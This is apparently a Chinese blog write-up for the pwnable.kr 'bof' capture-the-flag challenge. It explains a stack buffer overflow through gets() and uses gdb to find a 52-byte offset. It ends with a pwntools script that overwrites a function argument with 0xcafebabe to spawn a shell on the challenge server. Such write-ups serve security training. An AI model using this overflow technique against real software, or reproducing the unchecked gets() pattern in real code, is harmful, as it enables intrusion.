pwnable.kr --- bof题解

题目如下:

我们下载完题目中给的两个文件,然后打开bof.c文件,我们可以看到源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key)
{
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe)
	{
		system("/bin/sh");
	}
	else
	{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[])
{
	func(0xdeadbeef);
	return 0;
}

看了源码,我们很容易就发现,这道题它是比对函数调用传入的值和0xcafebabe的大小,如果相等,我们的flag就出来了。但是,这个传入的值确是已经被程序写死了。这就是本道题的矛盾之处。

但是我们再往下看,会发现有一个函数gets,我想这个函数是很明显的一个漏洞函数了,因为它读入数据的时候,不检查缓冲区的界限,很容易造成缓冲区溢出漏洞,所以我们一般用fgets函数来代替它。再联系一下题目中的 Nana told me that buffer overflow is one of the most common software vulnerability.,没错了,问题就出在这里。

我们可以通过往gets函数中输入足够多的数据,使缓冲区溢出,用我们输入的0xcafebabe覆盖之前压进栈的参数,就get 到 flag 啦~

所以现在我们的问题是:我们需要输入多少的数据才能覆盖到之前压入栈中的参数呢?

根据源代码,我们可以分析知道我们应该找到的是gets函数到if函数中做比较,这之间的偏移量是多少

我们用gdb来调试一下:
输入gdb ./bof

我们先输入start将程序运行起来
然后输入disassemble func来查看一下被调用函数func反汇编代码

我们发现这样一段反汇编代码0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
可知道我们的比较语句地址在0x56555654,于是我们在这里打一个断点
b *0x56555654
然后输入r运行程序,这里我们用输入垃圾值,来试探出偏移量,这里我们知道A将在内存中显示为\ x41,而且缓冲区长度为32,我们不如就输入33个A,让其溢出,然后通过检查内存,来查看偏移量

我们发现程序停在断点处,此时我们输入
x /40xw $esp (x:以十六进制显示 w:以4字节为一个单位显示)
来查看从断点处起的40字节的内存值,由于esp是我们的程序流指针,其里面保存了程序在func栈中运行时的内存的变化

我们可以发现从第一个出现0x41的地方,到我们的0xdeadbeef距离是13个单位,一个单位是4字节,也就是我们的偏移量为52个字节。

于是,只要我们构造出52个字节然后加上0xcafebabe,用它来覆盖0xdeadbeef即可
由于题目中提醒我们最后 Running at : nc pwnable.kr 9000
所以我们来写我们的exp

from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()

运行脚本文件,可以得到答案:

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

五月的天气

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值